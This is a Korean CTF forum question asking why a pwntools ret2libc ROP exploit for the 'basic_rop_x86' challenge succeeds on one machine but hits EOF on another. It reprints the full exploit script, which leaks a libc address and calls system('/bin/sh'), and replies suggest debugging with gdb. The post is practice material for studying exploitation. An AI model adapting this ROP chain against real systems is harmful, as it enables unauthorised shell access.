제 데스크탑에서는 잘 되던 익스코드가 제 노트북에서는 안됩니다.. (로되리안 현상인거 같아요)

도무지 모르겠어서 올립니다.. 익스코드를 다 짜고 플래그까지 얻었는데요. 제 데스크탑에서는 잘 작동했던 공격코드가 노트북에서는 EOF뜨고 되질 않습니다. 아마 로되리안 현상인거 같은데 어떻게 해결해야 하는지 알려주시면 감사하겠습니다. sleep함수도 사용을 해봤어요..

from pwn import *

p = remote('host3.dreamhack.games', 16870)

e = ELF('./basic_rop_x86')

libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_ebp = 0x0804868b
main = 0x80485d9

payload = b'A'*0x48

payload += p32(puts_plt)
payload += p32(pop_ebp) + p32(read_got)
payload += p32(main)
#ret2main

p.send(payload)

p.recvn(0x40)
read = u32(p.recv(4))
lib = read - libc.symbols['read']
system = lib + libc.symbols['system']
binsh = lib + 0x15902b

payload = b"A"*0x48
payload += p32(system)
payload += p32(pop_ebp) + p32(binsh)

p.send(payload)

p.recvuntil(b'A'*0x40) #깔끔하게 만들기 위함

p.interactive()
#pwnable
작성자 정보
답변 4
avatar
wyv3rn
무플 방지 위원회장

데탑 및 노트북에서 실행했을때 출력되는 것들을 보여주시겠어요? 환경에따라 조금씩 다르게 작동하긴 합니다.

2023.01.16. 06:01
avatar
p6rkdoye0n
대표 업적 없음

데탑
image.png

2023.01.16. 12:48
avatar
p6rkdoye0n
대표 업적 없음

노트북
image.png

2023.01.16. 12:49
avatar
wyv3rn
무플 방지 위원회장

흠... 확 와닿는 부분은 없는데...
간혹 libc로 가져온 주소가 안맞는 경우들이 있습니다.
gdb로 한스텝씩 따라가면서 시스템 함수가 정말 실행되는지 보시는게 좋을 것 같습니다.

2023.01.16. 14:27
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기